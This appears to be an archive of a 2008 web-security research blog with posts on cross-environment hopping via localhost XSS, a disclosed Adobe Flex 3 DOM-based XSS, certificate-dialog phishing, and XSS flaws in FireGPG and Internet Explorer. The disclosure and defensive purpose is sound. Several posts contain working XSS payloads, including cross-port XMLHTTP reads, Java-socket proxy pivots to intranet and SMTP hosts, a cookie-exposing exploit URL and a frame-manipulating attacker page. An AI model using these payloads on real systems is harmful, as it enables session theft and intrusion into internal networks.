Watchfire Application Security Insider

Cross Environment Hopping

2008-06-23T12:59:32+03:00

Prologue

Our research team has identified a web-based attack technique that exploits the growing number of applications that require a web server being run on a local machine. Cross-Environment Hopping (CEH) is a result of this trend combined with the current limitations in browsers’ same-origin policy access restrictions.

The CEH technique enables an attacker to exploit a local XSS vulnerability in order to “hop” to a different environment, such as another locally installed server. Under certain circumstances it may even be possible for an attacker to access remote network services such as network share drives, remote procedure calls, intranet mail, SQL servers, and so on.

This write-up will prove that the current implementation of same origin policy on the localhost in up-to-date Web browsers, combined with the presence of an XSS vulnerability, creates a special set of circumstances that enable environment hopping, and that the resulting malicious activity can be performed on any server running on a designated port.

We would like to credit Rob Carter for his great work in describing the problematic nature of exploiting XSS vulnerabilities in local web servers by taking advantage of the promiscuous security behavior of Internet Explorer 6.

Current Browser Restrictions

As browsers are designed to access a wide variety of resources, their access restrictions are essential to maintaining the security of the client. It is imperative that the browser controls information access by limiting one application from accessing resources or information from another application, that belong to a different entity.

>> Same Origin Policy:

The same origin policy is an essential element in client-side scripting (primarily JavaScript) security. A valuable component of this policy is that client-side script cannot read information originating from a different domain. While this does not prevent a browser from making cross-origin HTTP requests, it successfully limits access to the content of other domains.

The following table outlines various methods that might be used by JavaScript to communicate with external domains. While some are not restricted to the same origin, access to content is limited.

Method	Same Origin Policy	Content Access
XmlHttpRequest	Yes	Yes
Socket Connections	Yes	Yes
IFrame Element	No	Same Origin Only
Dynamic Form	No	Same Origin Only
Script Element	No	JavaScript Content Only
Image Element	No	Height/Width Value Only

>> XML HTTP Requests

It is interesting to note that different methods of making XML HTTP requests use different components, because different browsers use different implementations. For example, Microsoft Internet Explorer supports the ActiveX component Microsoft.XMLHTTP, while the Firefox browser does not.

Not only is there a variance in the components used to make these requests, but behavior varies too. For example, the standard XMLHttpRequest object supported by both Microsoft Internet Explorer and Firefox does not support requests across different ports (on the same domain), while many of the implementations through ActiveX that are supported by Internet Explorer do. (These include MSXML2.XMLHTTP, Microsoft.XMLHTTP and various versions and derivatives of these objects.)

In Firefox and Internet Explorer 7.0, an XMLHttpRequest might be initiated using:

var xhr = new XMLHttpRequest();

In addition, in Microsoft Internet Explorer 7.0 (and earlier versions), this might be initiated using:

var xhr = new ActiveXObject("Microsoft.XMLHTTP")

While this behavior doesn't seem to have a significant impact in an Internet web environment, it has a huge impact in a desktop web environment: the localhost domain.

Cross Environment Hopping

Cross-Environment Hopping (CEH) is the technique of hopping from the Internet to a port on the victim’s computer, and then hopping from one port (environment) to another on the computer, as illustrated below.

The attack sequence might begin with a blind request (perhaps using an IFrame element) from the attacker to a cross site scripting (XSS) vulnerability on the local web server running on port A.

>> Vulnerabilities in Local Web Servers:

As a vulnerability class, XSS is very prevalent in web applications. Numerous advisories have been published about XSS issues in local web servers. As an example, our own research team has published an advisory about a XSS issue found in the local web server installed by Google Desktop (see "Overtaking Google Desktop"). We are also aware of other such vulnerabilities in local web servers, but are restricted from disclosing information at the moment.

>> Cross Application Scripting (XAS):

A second method of initiating the CEH attack is by exploiting a Cross-Application scripting (XAS) attack. This is not a new type of attack.

Cross-Application scripting (XAS) is possible when an application executes data in a security context different from the original content (presumably one with less security restrictions). For example the data may be obtained from an un-trusted source (a remote web server) that is sent unfiltered into a trusted application such as when web content is downloaded from a remote server, and then re-displayed on the local host. Any application that downloads and then later displays and executes web content (such as JavaScript) may be vulnerable to XAS (“Cross-Application Scripting”, Security.nnov.ru)

The impact of a XAS vulnerability is usually access to the Local Computer Zone. One of the suggested countermeasures against XAS is to use a local web server in order to present the information gathered by the application instead of loading it from the file system.

The fact that the browser loads a page from a local web server guarantees that even if the application doesn't properly filter out hazardous characters (i.e. it is vulnerable to a XSS attack), the Local Computer Zone won't be accessible to attackers.

However, this countermeasure against XAS means that if the desktop application web interface is vulnerable, a CEH attack is made possible.

>> Crossing Ports Using XML HTTP Requests:

After the initial request has been sent and the victim has been exploited using XSS, the attacker can deliver payloads of his choosing. If the victim is running Microsoft Internet Explorer, the attacker may send ActiveX Microsoft.XMLHTTP requests to other local web servers running on different ports. As the same origin policy does not apply to ports (on Localhost), the attacker is able to read responses and make additional requests through the exploited system.

The following Cross Site Scripting payload, demonstrates how a malicious JavaScript payload returning from a web server installed on Localhost port 80, can submit an HTTP request to a different web application, installed on Localhost port 8080, and also have access to the information returned in the HTTP response:

<script>

    var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

    if (xmlhttp!=null)

      xmlhttp.onreadystatechange=state_Change;

      xmlhttp.open("GET","http://localhost:8080/some_page.html",true);

      xmlhttp.send();

        alert("Request Sent!");

    else

      alert("Your browser does not support XMLHTTP.")

    function state_Change()

       // if xmlhttp shows "loaded"

       if (xmlhttp.readyState==4)

          alert('response:'+xmlhttp.responseText);

</script>

>> Crossing Ports Using Socket Connections:

Several client-side technologies are available, which allow the browser to initiate direct socket connections. For example, Java applets, Flash, and QuickTime all allow the opening of direct socket connections with the server of the same origin. Firefox has the unique distinction that direct socket connections are allowed using Java natively within JavaScript.

The following code will open a direct socket connection to the localhost on port 9999:

socket = new java.net.Socket( "localhost", 9999 );

Exploiting this ability, the attacker can send a request that hops from the local web server to any local server that the victim is running.

Theoretical Outcome

The potential exploitation of Cross-Environment Hopping could lead to many different outcomes. This write-up will consider only a few of the possibilities available to the malicious individual.

>> Cross Web Application Access:

An attacker could use ActiveX (XMLHTTP) components to send HTTP requests to web applications running on different ports. As web applications running on other ports are unlikely to be related (on Localhost), this could lead to significant application compromise. Web applications running on Localhost are likely to contain sensitive information (e.g. Google Desktop).

>> Public Share Enumeration:

During this research, we have managed to create a working exploit that demonstrates how an attacker may enumerate any public shares on the local computer using the SMB protocol. You can download the exploit zip file in this link. (works only on Firefox)

>> Local Proxy Exploitation:

The most significant damage of all, is possible if the victim happens to be running a local proxy server. As the local proxy server is merely used to pass through network traffic, it might be possible to use the victim’s machine as a conduit for an attack against the local network.

There are numerous examples of commercial products that install an HTTP proxy on the Localhost. In our examples we installed AVAST Anti Virus (v4.7), which goes even further and allows proxying using the HTTP CONNECT method (The importance of HTTP CONNECT will be demonstrated in the section “Accessing Non-HTTP Services Using HTTP CONNECT Method”, below.)

The Cross-site Scripting payload below performs a GET request to www.intranet.site using Java socket connection in JavaScript on Firefox and exploits the proxy that is running on Localhost: (line wrapped)

<script>

    var sock = new java.net.Socket("localhost", LOCAL_PROXY_PORT);

    var write = new java.io.DataOutputStream(new

    java.io.BufferedOutputStream(sock.getOutputStream()));

    var read = new java.io.DataInputStream(sock.getInputStream());

    write.writeBytes

("GET http://www.intranet.site:80/ HTTP/1.0\r\n\r\n");

    write.flush();

    var buf1 =

java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 65536);

    len = read.read(buf1);

    var resp = "";

    for (i=0;i<len;i++)

        resp += String.fromCharCode(buf1[i])

    alert(resp);

</script>

The malicious JavaScript code has full access to the HTTP response coming from a completely different domain.

>> Accessing Non-HTTP Services Using the HTTP CONNECT Method:

Some proxy servers allow the tunneling of TCP protocols using the HTTP CONNECT method. The tunneling technique is used mostly for tunneling SSL traffic through proxies, but it can be used for tunneling all kinds of traffic.

A standard handshake for HTTP CONNECT tunneling between a client and a proxy might look like this:

Client HTTP Request:

CONNECT www.some.site:1234 HTTP/1.0 [CRLF]
User-agent: Some-Client [CRLF]
[CRLF]

Proxy Server HTTP Response:

HTTP/1.0 200 Connection established [CRLF]
Proxy-agent: Some-Proxy/1.0[CRLF]
[CRLF]

If the handshake was successful, the client is now free to communicate with www.some.site (using the service on port 1234), through the HTTP tunnel that was created.

The following Cross-site scripting example establishes a connection between the victim's computer and a remote SMTP server, using the SMTP protocol. Communication is tunneled through a locally installed proxy server that supports the HTTP CONNECT method, which avoids same-domain policy restrictions while enabling non-HTTP traffic:

<script>    var sock = new java.net.Socket("localhost", LOCAL_PROXY_PORT);    var write = new java.io.DataOutputStream(new java.io.BufferedOutputStream(sock.getOutputStream()));    var read = new java.io.DataInputStream(sock.getInputStream());    var buf1 = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 65536);            write.writeBytes("CONNECT mailserver:25\r\n\r\n");    alert("CONNECT sent");    write.flush();    read.read(buf1);        write.writeBytes("HELO mail\r\n");    alert("HELO sent");    write.flush();    len = read.read(buf1);        var resp = "";        for (i=0;i<len;i++)    {        resp += String.fromCharCode(buf1[i])    }        alert(resp);</script>

>> Cross Environment Hopping vs. DNS Rebinding:

It is worth mentioning that while the outcome of a CEH attack is somewhat similar to that of a DNS Rebinding attack, the techniques themselves are very different. While DNS Rebinding bypasses the same origin policy to achieve its goal, Cross-Environment Hopping works under the same origin policy restrictions, and does not violate them during the attack.

As the security industry is continuously trying to fight against DNS Rebinding (and partially succeed. see DNS Rebinding security updates in Flash and Sun's JVM), CEH attacks are more relevant than ever.

Recommendations:

For browser and plug-in software providers:
As presented in this write-up, communication between different ports in the context of Localhost can lead to devastating results. Therefore, we believe that crossing ports on the Localhost should be restricted and bound to explicit user consent.
For the client:
The client should be very wary of installing software that runs a local web server. This write-up has shown that the restrictions in place on the local computer are not sufficient to prevent environment hopping from a vulnerable web application to other applications (not only web applications) that are running as a server.
For web application developers:
Web application security is paramount when building web applications that run in the context of a local web server. This write-up has shown that a single, simple XSS vulnerability can be exploited to gain access not only to the local web application, but to other applications and programs that are running the local machine. The responsibility involved in building such applications should be considered carefully.
For the anti-virus and local firewall software vendors
Anti-virus and local firewall software vendors should consider solutions that prevent socket and HTTP connections between web applications and different ports on the local computer.

Conclusion:

Cross-Environment Hopping can lead to the compromise of many different applications and expose some operating system features. The technique is relevant to any machine that runs a local web server.

When a machine runs a web server on more than one port, it is possible to exploit a vulnerability in one web application that leads to the compromise of a web application running on a different port entirely.

When a web server is co-hosted with other server types, the potential for exposure is dramatically increased. A vulnerability in a local web application could serve as a hopping point to open direct socket connection and exploitation of the other servers.

The research conducted so far is only a start, but highlights the dangerous potential of the technique.

Acknowledgements:

This research was performed by Yair Amit with additional help from Adi Sharabani, Danny Allan & Ory Segal.

JavaScript Code Flow Manipulation, and a real world example advisory - Adobe Flex 3 Dom-Based XSS

2008-06-17T23:59:50+03:00

We recently researched an interesting DOM-based XSS vulnerability in Adobe Flex 3 applications that exploits a scenario in which two frames (parent & son) interact with each other, without properly validating their execution environment.

In our research, we have seen that in some cases, it is possible to manipulate JavaScript code flow, by controlling the environment in which it runs. Specifically, we managed to return hacker-controlled boolean values to conditional statements, and by that force the application to be vulnerable to an existing DOM-based XSS, which was otherwise unexploitable.

The advisory presented herein, is a real world example of the research mentioned above, and contains two XSS variants. The second of which, makes use of the JavaScript Flow Manipulation technique.

# # # Begin Advisory # # #

This advisory describes a new security vulnerability found in auto-generated code created by Adobe Flex 3 (Builder & SDK) that uses the default HistoryManager or Deep Linking support.

Attack Variant #1: DOM Based Cross-Site Scripting

The following text, which describes the HistoryManager and Deep Linking support in Adobe Flex, was taken from the official Adobe documentation:

"The Flex History Manager lets users navigate through a Flex application by using the web browser's back and forward navigation commands. For example, a user can navigate through several Accordion container panes in a Flex application, and then click the browser's Back button to return the application to its previous states.
The HistoryManager class provides a subset of functionality that is provided by the BrowserManager class and deep linking. In general, you should use the BrowserManager class and deep linking for maintaining state in an application and manipulating URLs and browser history, but the HistoryManager class can be useful under some circumstances, such as if you are maintaining a Flex 2.x application. For more information about deep linking and the BrowserManager class, see About deep linking.
History management is implemented as a set of files that are referenced in the application's wrapper. By default, Adobe Flex Builder generates a wrapper that supports history management, but you can disable it. When you deploy an application that uses the HistoryManager, you must also deploy the history management files such as history.css, history.js, and historyFrame.html. These are the same files that are used by the BrowserManager for deep linking support. For more information, see Deploying applications that use deep linking."

The following code was taken from the historyFrame.html:

...

function processUrl()

            var pos = url.indexOf("?");

            url = pos != -1 ? url.substr(pos + 1) : "";

            if (!parent._ie_firstload) {

                parent.BrowserHistory.setBrowserURL(url);

                try {

                    parent.BrowserHistory.browserURLChange(url);

                } catch(e) { }

            } else {

                parent._ie_firstload = false;

var url = document.location.href;

processUrl();

document.write(url);

...

As can be seen from the code above, the url variable, holds the document.location.href string, and is later on written to the HTML document. So, in order for the XSS attack to work, the malicious payload should be injected into the URL. Here's an exploit URL:

http://www.some.site/flex_html_wrapper.html#<script>alert(document.cookie)</script>

Note 1: due to how Flex HistoryManager is implemented, the above exploit URL will only work on Microsoft Internet Explorer

Note 2: in the example above, the file /flex_html_wrapper.html is the HTML wrapper file of the Flex SWF

Attack Variant #2: DOM Based XSS Using JavaScript Flow Manipulation

From a quick research into how Flex 3 applications support deep linking ("browser navigation integration"), we have noticed that the attack we described above, will only work if the developer explicitly makes use of either HistoryManager or BrowserManager classes. In such case, the application will use the vulnerable code presented above (i.e. it will load the vulnerable file /history/historyFrame.html into the browser).

This fact limits our attack vector to sites that were designed to actively use history management / deep linking (note: all applications that were compiled with "enable integration with browser navigation" ship with the vulnerable file, but they don't load it into the browser unless the above objects are used in the code).

When we looked at the JavaScript code in /history/historyFrame.html, we saw that calling it directly in order to mount the DOM-based XSS attack (against all Flex 3 sites that include that file) will not work. This is because the JavaScript first calls the function processUrl before performing the vulnerable document.write(url)

The function processUrl, contains the following lines of code:

if (!parent._ie_firstload) { 
     parent.BrowserHistory.setBrowserURL(url);
...

When there is no parent document (or if the parent document does not contain the object _ie_firstload), the condition inside the parenthesis is evaluated to TRUE. This in turn, causes the line:

parent.BrowserHistory.setBrowserURL(url);

to get executed, resulting in a runtime exception, since no such objects and methods actually exist (there is no parent document). At this point, the attack will fail.

In order to bypass this obstacle, we have created a (malicious) parent document, which includes an IFrame whose source is the vulnerable HTML page /history/historyFrame.html. In addition, we have added another IFrame (called _ie_firstload), whose role will be explained below.

The malicious HTML page looks like this (line wrapped):

<!-- HTML source of page, hosted on http://www.evil.site/ -->

<html>

 <body>

  <iframe name="_ie_firstload"></iframe>

  <iframe src="http://www.vuln.site/app/history/historyFrame.html?

#<script>alert('xss')</script>"></iframe>

 </body>

</html>

Upon visiting this malicious page, which is hosted on http://www.evil.site/ the victim's browser issues a request to the vulnerable Flex application that is hosted on http://www.vuln.site/. The request exploits the DOM-based XSS vulnerability that was mentioned in the first section (variant #1).

Here's a quick explanation of the attack:

The JavaScript code that is executed in /history/historyFrame.html (see JS code in the previous section), looks at the Boolean value that parent._ie_firstload returns.
Since our malicious parent document actually includes a child node with the same name (a bogus IFrame element that we named "_ie_firstload"), the script flow is manipulated. (we do not enter the first block of the IF statement)
The JavaScript code that was just manipulated goes ahead to the ELSE statement
The function processUrl exits cleanly, and our DOM-based XSS attack succeeds.

Pay attention to #2 - the child IFrame was expecting its parent to return TRUE or FALSE depending on the existence of a JavaScript object (_ie_firstload), but since we controlled the parent's DOM, we have substituted the JavaScript object, with an IFrame. The IFrame's existence in the parent DOM allows us to fool the child IFrame into believing that such object exists.

We have decided to use an IFrame instead of a regular JavaScript object, since the browser's same origin policy will not allow the child IFrame to access JavaScript objects originating from a different domain (www.evil.site). Nevertheless, the browser will allow the child IFrame to traverse the parent's IFrame structure. In our case, the JavaScript code flow manipulation technique was relying on this browser behavior.

To sum things up, all a hacker needs to do in order to exploit this vulnerability, is host a malicious HTML page as shown above, which points to a Flex application that includes the file /history/historyFrame.html.

This file exists by default in all Adobe Flex 3 applications that were created either by Flex 3 Builder or the Flex 3 SDK (regardless if the developer chose to use HistoryManager or BrowserManager)

Impact

First and foremost, this vulnerability is extremely severe, since every Flex web application that is developed using Flex Builder 3 or the Flex 3 SDK (see the next paragraph), includes the file /history/historyFrame.html (this file exists by default), and thus is vulnerable to DOM-based XSS.

In order for the vulnerable files to be included in the Flex application, the developer has to enable "integration with browser navigation". This option is enabled by default, and can be configured from the project properties.

The most severe impact of the vulnerability described in this document is achieving a successful DOM based cross-site scripting attack. If an application is vulnerable to attacks of this type, a remote attacker can execute a malicious script in the context of the victim's browser which can access cookies, session tokens and other sensitive data kept by the browser for the vulnerable web application.

Fix Recommendations:

The following fix recommendations are taken from the Adobe security bulletin:

Adobe recommends all Flex 3 developers who have enabled History Management update applications created with Flex 3 and their Flex 3 product installations with the following instructions:

Flex 3 users (both Flex 3 SDK and Flex Builder 3) should update their product installations with the Flex 3.0.2 SDK update.

Flex 3 users who have enabled History Management in their currently deployed Flex 3 web applications should update all instances of the historyFrame.html file with the updated file. The three instances of historyFrame.html in the Flex 3 SDK installation can be found in the following locations:

{install root}/templates/html-templates/client-side-detection-with-history/history/historyFrame.html

{install root}/templates/html-templates/express-installation-with-history/history/historyFrame.html

{install root}/templates/html-templates/no-player-detection-with-history/history/historyFrame.html

Acknowledgements:

We would like to commend Adobe for their quick response and the efficient way in which they handled this security issue. We wish that other vendors would be as responsible as Adobe for the protection of their customers.
This research was performed by the following IBM Rational Application Security Group Members: Ory Segal & Adi Sharabani, with the help of Ayal Yogev.
Special thanks goes to Amit Klein for his technical review and useful comments.

CVE ID: CVE-2008-2640

# # # End Advisory # # #

Periodic Blurbs

2008-05-11T12:32:02+03:00

Hi There,

Just wanted to leave you all a quick note that we haven't forgotten how to blog :-) we've been busy over our heads with migrating things to IBM (called Blue-Washing around here), developing new version of AppScan (as always, we have to stay ahead of the pack), and researching new and interesting security vulnerabilities. In the meantime, here's a quick list of anecdotes to keep you busy -

OWASP AppSec Europe 2008 is right around the corner. I strongly recommend attending this conference, as it looks like the agenda is packed with great presentations. The conference will take place in Ghent, Belgium, which means that good beer won't be a problem. If you haven't registered yet, I suggest you do so, and prepare to work hard in locating a hotel in the vicinity. Every single hotel is booked solid, and you might need to make some compromises. In addition, I am currently planned to be on the panel at the end of the first day ("The PCI 6.6 dogfight - to Scan or to WAF, this is the question") - I wouldn't miss a chance to voice my opinions
Adobe Flash/Flex security- we have been researching Flex and Flash security a lot lately as a part of our continuous effort to stay ahead of the technology. RIA security is the next big thing, and the green pastures of security vulnerabilities are awaiting. Rest assured that readers of this blog will be the first to read about our research, and some of it will also be presented at the OWASP AppSec conference in NYC later this year
IBM Rational Software Development Conference (RSDC) 2008 is coming up (June 1-5, 2008). This year's conference will host a full track on Application Security & Compliance (click to view agenda), and will include some great presentations in our field. I am also going to be there, and will give a session on Web 2.0 security (AS09). In addition, William Shatner is one of the keynote speakers - are you seriously going to miss Captain Kirk talking about software development?
"Static code analysis is inherently doomed to fail" - at least that's what the author of this blog thinks. Well, I beg to differ, and for every reason mentioned in the above post, there's a reasonable solution or a workaround. In addition, I can't help but say - that's what happens when your scanner GREPs for security vulnerabilities ;-) ouch, don't take it personally...
Cisco announces their own stab at building a web application firewall (WAF). I guess PCI 6.6. is kicking in :-) oh AppShield, where art thou? seriously now, I'm hearing and reading about WAFs everyday and in every blog - that's simply awesome to see that this market is finally picking up
Charles is my new best friend. I'm not sure if I've mentioned it before in this blog, but this HTTP Proxy simply kicks ass (and it supports AMF message tampering for those pesky Flash remoting apps). Next to firebug (and of course AppScan), this is probably one of the best tools to have in your arsenal. Check it out
Off topic - I just finished reading a book called "The Volunteer: The Incredible True Story of an Israeli Spy on the Trail of International Terrorists", while I'm not sure how "true" this story is, I did enjoy the espionage parts of it. I strongly recommend it.

That's all for now, and don't forget -

SMash Your Head on Mashup Security

2008-03-16T13:46:19+02:00

I've been taking a close look at AJAX and Mashup security for a couple of weeks now, and I've stumbled upon two things which I thought I should blog about, so here goes:

"AJAX Security" Book

I've read several raving reviews on the "AJAX Security" book by Billy Hoffman and Bryan Sullivan, and I'd like to join the reviewers and attest that this book is simply excellent. The book covers everything you need to know about AJAX security, including a thorough background, simple and clear examples, and it covers everything from regular web application security issues, to obscure Mashup security issues, and even offline Ajax applications (e.g. Google Gears, etc.). If you are into AJAX security, this book will definitely be a great companion. Kudos to Billy & Bryan!

SMash

While reading the aforementioned AJAX security book, I've noticed that Mashup security is still in its infancy, and I was pondering on some of the problems that arise from mashing up contents from different trust domains into a single web page (obviously, originating from a single domain). The book talks about IFrame jails, and some of the issues with that solution, and even suggests some interesting techniques for securing mashups - but I wanted to direct your attention to a very interesting solution / technology that was built right here at IBM Research, and is freely available for everyone. This solution is called SMash (stands for Secure Mashups). Here's a short description of SMash from the OpenAjax web site:

IBM Research has contributed an important and major set of open source technology called “SMash” (secure mashups) to OpenAjax Alliance. SMash is a set of technique and open source JavaScript that runs in today’s browsers (without extensions or plugins) and enables secure handling of 3rd party mashup components.
SMash accomplishes its magic by placing mashup components in separate IFRAMEs (each using a different sub-domain). Cross-frame communications in today’s browsers is accomplished using the window.location fragment identifier. The highest level mashup application manages all communications between itself and among the mashup components. Although the initial version uses window.location, the SMash APIs are independent of any particular implementation approach and will still work if/when browsers add native support for secure cross-frame messaging.

You can find more technical information about SMash in the following IBM whitepaper - "SMash: Secure Component Model for Cross-Domain Mashups on Unmodified Browsers"

Smash is offered for free through the OpenAjax web site.

Reflections on SSL certificate validation dialogs

2008-01-27T10:39:00+02:00

Lately I've been messing around with SSL validation dialogs and I've found that they may help in conducting a phishing attack under certain circumstances.

When an SSL site with a valid certificate includes an external resource (such as an iframe) which provides an invalid certificate (e.g: an expired certificate), IE6 or Firefox2 will pop up a dialog-box which to the naive user seems related to the browsed site, and not to an external content.

So how can this be exploited you ask? Let's assume the attacker wants to impersonate to https://www.some.site/ , which happens to have an expired certificate. The attacker will then register https://www.some.s1te/ (or any other URL which is similar to www.some.site) and will get a valid certificate for it (this is not an easy task though). Then he will embed a hidden iframe which sources from https://www.some.site/.

When the victim browses to https://www.some.s1te/ the browser will pop up a dialog message saying that the certificate has expired, but the Common Name of the certificate will be www.some.site!, This may convince the victim that he actually has surfed to www.some.site.

This video demonstrates the issue under Internet Explorer 6:

This video demonstrates the issue under Firefox 2.x.x:

The problem is more severe under Internet Explorer 6 because it states that the remote peer is valid, and when you examine the certificate you notice that the Common Name is indeed the one that attacker is attempting to impersonate.

In Firefox 2.x the pop-up dialog does not state that the Common Name is valid, but if you know the internals of the certificate validation test you also know that the Common Name is checked before the certificate's expiration, so if Firefox pops up a window regarding the expiration invalidity, it means that the Common Name has passed the validation test, and when one examines the certificate, it will indeed contain the impersonated one, as illustrated in the above video.

This problem is in fact inherent in the way the browsers present the error message. They don't distinguish between a failure of an external content's certificate validation test and a failure of the site's certificate validation test. I would expect them to explicitly indicate that the certificate check is against an external source. Internet Explorer 7 actually does that, as illustrated below.

This image illustrates a failure of a certificate validation check in IE7 against an external source cert:

This image illustrates a failure of a certificate validity check in IE7 against the browsed site's cert:

I really like IE's solution because they could have implemented it by simply adding the missing information to the original dialog . The fact that they have two completely different error dialog windows makes the chance of a user mistakenly regarding the failure of an external certificate test as a failure of the browsed site certificate test minute or even zero.

Celebrating 20 Years of Anti-Virus

2008-01-22T22:12:18+02:00

20 years of Anti-Virus software and I still have to patch my machine at least once a month
20 years of Anti-Virus software and I still have to update my Anti-Virus with yesterday's signatures
20 years of Anti-Virus software and I still need a personal firewall
20 years of Anti-Virus software and you still expect Mom & Pop to know if SVCHOST.EXE should be allowed to access the Internet or not
20 years of Anti-Virus software and when my Outlook decides suddenly to send my entire address book to some bloke in China, you can't figure out that I'm not doing this on purpose?!
20 years of Anti-Virus software and when my sister is tempted to double click on the cute "Dancing Pigs" file she got in her mail, her Registry gets corrupted, and files are installed in her C:\Windows\System32 directory
20 years of Anti-Virus software, and virus writers can still override operating system files without sweating
20 years of Anti-Virus software, and the first program to get infected is my Anti-Virus itself
20 years of Anti-Virus software and I still need to install the following: Anti-Virus, Personal Firewall, Adaware, Spybot, HijackThis, Windows Defender, etc. and at the end of the day, I'm still infected
20 years of Anti-Virus software and you still see new vendors entering this market, and even they can't figure out how to do it right
20 years of Anti-Virus software, and some snot-nosed kid who write a VBS file can outsmart the entire virus research teams combined
20 years of Anti-Virus software, and when I'm infected, I have to restart windows in "Safe-Mode", download some special infection removal tool from my Anti-Virus vendor, disable Windows System Restore, edit my registry manually, reboot and pray to the "Force" that this trick nailed it. Usually it doesn't
Wait Wait Wait, I have to repeat the last one - "Infection Removal Tool"???? from the same Anti-Virus vendor???? if you know how to remove it, why didn't you handle it in the first place?!@#!
20 years of Anti-Virus software, and every time I visit my parents' house, their computer is a part of a new botnet, and my dad is asking me: "How come I got infected, if I updated my Anti-Virus yesterday, and I didn't click on any malicious file?!"

Folks, if after 20 years of Anti-Virus software, all of the above is correct, I think it's safe to say that this industry has failed us (it didn't fail the vendors, since they are making a lot of money every year). The one thing I seriously don't understand is why we keep paying for Anti-Virus software, for our gateways and for our endpoints, if eventually we have to sit and decide if it is safe to click on some file that someone sent us.

Could it be that Anti-virus software became just a bullet on the CISO's checklist of must-haves? could it be that through FUD, we are forced to buy Anti-Virus software, that doesn't solve the problem for us?

What has the Anti-Virus industry been doing for the past 20 years except for updating signatures and counting the subscription money we pay them?

Let's hope that other security market segments will do better after 20 years...

See you at the 40th. anniversary.

-Ory

(FireGPG) Browser-based XSS

2007-12-26T17:15:16+02:00

FireGPG is a Firefox extension which brings an interface to GPG functions. It's capable of signing, verifying, encrypting and decrypting text on the fly using GnuGPG.

It also integrates with Gmail, making it possible to run GPG functions on mail messages. One of its features is auto-verification of mail messages, which are detected as PGP-signed.

After a mail message has been verified, it is printed below the message whether the signature matches the message and if it does, issuer name is printed as well.

However (in version 0.46), the issuer name is not sanitized or validated against malicious input, so it makes FireGPG vulnerable to Cross Site Scripting. If the issuer name (which is provided with the public key) contains a malicious JavaScript, it will be executed under Gmail's context!. An XSS under Gmail allows the attacker to impersonate to the victim by controlling his mailbox, steal his cookies and so on.

To exploit this vulnerability, the attacker sends the victim a message signed with his malicious PGP key, and then convinces him to import the attacker's public key block (which contains the malicious issuer name). The key can be imported manually, or by using a public key repository. It is reasonable that the victim will not notice the malicious issuer name since public keys are usually distributed as base64 blocks, or identified by their Key ID when retrieved from a public key server. Once the victim views the signed message in his mailbox, FireGPG will automatically verify it and inject the malicious payload into Gmail's DOM, which is immediately executed. The screenshot below illustrates an injection of a javascript into Gmail's DOM by setting the issuer name to "<script>alert(document.domain)</script>"

This type of XSS is interesting because a browser bug leads to an XSS. it is both similar and dissimilar to DOM-based XSS. It resembles to DOM-based XSS because the attack cannot be detected by the affected domain. But unlike DOM-based XSS, flaws of this variant are not originated from the developers of the affected domain.

Looking at FireGPG's case, Gmail is not responsible for the flaw, yet the XSS occurs under its DOM. Looking at Yair Amit's last post, the website which an HTML file is downloaded from is not responsible for the XSS, Internet Explorer is.

It should be noted that FireGPG's team has been very responsive and it took them about 21 hours since our disclosure to provide a remedy to the flaw. This shows they are security aware and are committed to the protection of their end-users. It is an excellent example of how to handle security related bugs correctly. Many vendors do not distinct security bugs from other bugs, IMHO this is a bad approach - security related bugs should be fixed as soon as possible, and not in the next service pack.

Internet Explorer Download Zones Mix-up leads to XSS

2007-12-23T16:34:06+02:00

Do you worry about security when downloading and opening HTML files from the Internet? I've been asking around over the past few days, and most people seem to feel they can rely on IE's My-Computer zone security restrictions to keep safe.

A few days ago, I discovered a security flaw in Internet Explorer that could - under certain conditions - be exploited against a large number of web-applications. The flaw results in XSS holes in websites that allow the downloading of user-controlled HTML files (for example, webmail and forum services). The websites themselves don't necessarily do anything wrong. Their susceptibility to attack is due to improper behavior by Internet Explorer.

Same Origin Policy is supposed to ensure that once HTML is downloaded to the user's machine and opened locally, it can no longer access, or pose a threat to the source website – as it is no longer affiliated with that website's domain. Relying on browsers to apply this policy, websites frequently allow users to download original, unaltered versions of attachments, to their local-systems. Usually that's fine, but it seems that there is a download scenario in IE that does not follow this guideline.

It turns out that if you download an HTML file via IE and click the "Open" button in the "File Download" dialog (a fairly common scenario), instead of IE displaying the content from the local hard-drive (in the My-Computer Security Zone, which is very restrictive by default) the HTML is displayed in the context of the domain from which the file was downloaded. This behavior is neither expected nor desired.

If the downloaded HTML file contains a malicious JavaScript code, it will automatically be executed by Internet Explorer in the context of the original website. The risks this problematic behavior poses to IE users are equivalent to those of XSS. Since the problem lies with Internet Explorer and not any specific website, the risk to users is widespread. In effect it makes a large amount of websites susceptible to XSS to some extent.
In order to better describe the problem, let's consider the case of webmail services. Most webmail services offer a preview feature that allows the user to view an HTML version of attachments. The generated HTML is scanned and sanitized in order to ensure that it doesn't contain hazardous characters when embedded within the site.

The same principle is applied to HTML attachments. When they are viewed in the context of the web-application, all potentially harmful content (such as scripts) is stripped. While these measures protect users from security threats such as XSS, the design and functionality of the HTML attachment file might be damaged as a result, and for this reason webmail services offer a "Download" feature that lets the user download the original content of the attachment. Surfers can – and frequently do – use the "Download" feature when the sanitized version of the attachment is not satisfactory. This fact might be taken advantage of by a malicious attacker trying to exploit the aforementioned flaw.

While people are already educated to be suspicious of opening executable attachments, most people (and perhaps technical people in particular) are likely to open HTML attachments rather freely. HTML attachments are perceived as being with very small risk thanks to the My-Computer Zone protection mechanisms embedded in Internet Explorer. I therefore believe that despite the generic warning displayed in IE's "File Download" dialog (see "Flow of attack" section below), IE's improper behavior could be used by malicious attackers to mount attacks against visitors in a variety of web applications.

Microsoft was notified about the problem, but decided to not flag it as a security threat that has to be fixed, relying on the general warning message embedded in the "File Download" dialog.

For the reasons I described above, I believe it is important to warn users about this flaw, in order to help to mitigate the risk it poses to potential victims.

A brief review of several popular web-applications (forum infrastructures and webmail services) has shown that the flaw described above is fully exploitable in many of them. Until this flaw is fixed, IE users are potential victims when visiting and downloading attachments in web-applications of this type.

Vulnerable web-applications can protect their users by ensuring that the domain from which files are downloaded is different to that used by the code logic of the application itself. However, since this change isn't trivial, it's likely that many websites will remain vulnerable in the near future.

I therefore recommend thinking twice before opening HTML attachments with the "Open" button in Internet Explorer.

Flow of attack:

Victim receives an HTML attachment and decides to download it in order to watch it properly.
Victim clicks on the "Open" button.
The HTML is displayed by Internet Explorer in the context of the source website. JavaScript embedded in the downloaded HTML file has full access to the resources of the source website, and can fully impersonate the victim on the source website while she/he is calmly viewing the supposedly innocent HTML attachment.

